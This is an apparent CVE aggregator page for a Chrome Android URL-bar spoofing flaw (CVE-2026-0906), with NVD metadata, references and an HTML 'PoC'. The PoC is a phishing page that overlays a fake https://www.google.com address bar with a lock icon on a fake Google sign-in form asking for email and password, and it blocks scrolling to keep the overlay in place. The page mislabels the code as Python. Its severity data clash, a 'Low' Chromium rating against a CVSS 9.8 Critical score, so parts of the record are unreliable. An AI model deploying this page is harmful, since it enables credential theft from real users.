CVE-2026-0906

Description

Incorrect security UI in Google Chrome on Android prior to 144.0.7559.59 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome Android < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0906 PoC: URL Spoofing in Chrome Android -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>URL Spoofing PoC - CVE-2026-0906</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        /* Fake address bar overlay */
        .fake-address-bar {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            height: 56px;
            background: #f8f8f8;
            display: flex;
            align-items: center;
            padding: 0 12px;
            z-index: 999999;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        .fake-security-icon {
            width: 24px;
            height: 24px;
            margin-right: 8px;
            background: #34a853;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 14px;
        }
        .fake-url {
            flex: 1;
            font-size: 16px;
            color: #333;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            background: #e8eaed;
            padding: 8px 12px;
            border-radius: 20px;
        }
        .content {
            margin-top: 80px;
            background: white;
            padding: 30px;
            border-radius: 16px;
            max-width: 500px;
            width: 100%;
            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 20px;
            text-align: center;
        }
        h1 {
            color: #1a73e8;
            margin-bottom: 20px;
            font-size: 24px;
        }
        .info {
            color: #666;
            line-height: 1.6;
            margin-bottom: 15px;
        }
        .login-form {
            margin-top: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        .form-group label {
            display: block;
            margin-bottom: 5px;
            color: #333;
            font-weight: 500;
        }
        .form-group input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 8px;
            font-size: 16px;
        }
        .login-btn {
            width: 100%;
            padding: 14px;
            background: #1a73e8;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
        }
        .login-btn:hover {
            background: #1557b0;
        }
        .disclaimer {
            margin-top: 20px;
            padding: 15px;
            background: #f8f8f8;
            border-radius: 8px;
            font-size: 12px;
            color: #666;
            text-align: center;
        }
    </style>
</head>
<body>
    <!-- Fake address bar that spoofs the real browser UI -->
    <div class="fake-address-bar">
        <div class="fake-security-icon">🔒</div>
        <div class="fake-url">https://www.google.com</div>
    </div>

    <div class="content">
        <div class="warning">⚠️ Security Demo - CVE-2026-0906</div>
        <h1>🔐 Google Account</h1>
        <p class="info">
            Please sign in to access your Google account and services.
            Your session has expired for security reasons.
        </p>
        <form class="login-form" onsubmit="handleLogin(event)">
            <div class="form-group">
                <label>Email or Phone</label>
                <input type="text" placeholder="Enter your email" required>
            </div>
            <div class="form-group">
                <label>Password</label>
                <input type="password" placeholder="Enter your password" required>
            </div>
            <button type="submit" class="login-btn">Sign In</button>
        </form>
        <div class="disclaimer">
            © 2026 Google LLC<br>
            This is a demonstration of URL spoofing vulnerability.
        </div>
    </div>

    <script>
        function handleLogin(event) {
            event.preventDefault();
            // In real attack, credentials would be exfiltrated
            console.log('Credentials captured (PoC demonstration)');
            alert('This is a PoC - no data is sent anywhere.');
        }

        // Prevent scrolling to hide the fake address bar
        document.body.addEventListener('touchmove', function(e) {
            e.preventDefault();
        }, { passive: false });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0906/
[4] VulDB https://vuldb.com/cve/CVE-2026-0906
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/467448811

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0906", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:16.110", "lastModified": "2026-01-29T20:27:23.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Google Chrome on Android prior to 144.0.7559.59 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Low)"}, {"lang": "es", "value": "Interfaz de usuario de seguridad incorrecta en Google Chrome para Android anterior a 144.0.7559.59 permitió a un atacante remoto suplantar el contenido de la Omnibox (barra de URL) a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Baja)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/467448811", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}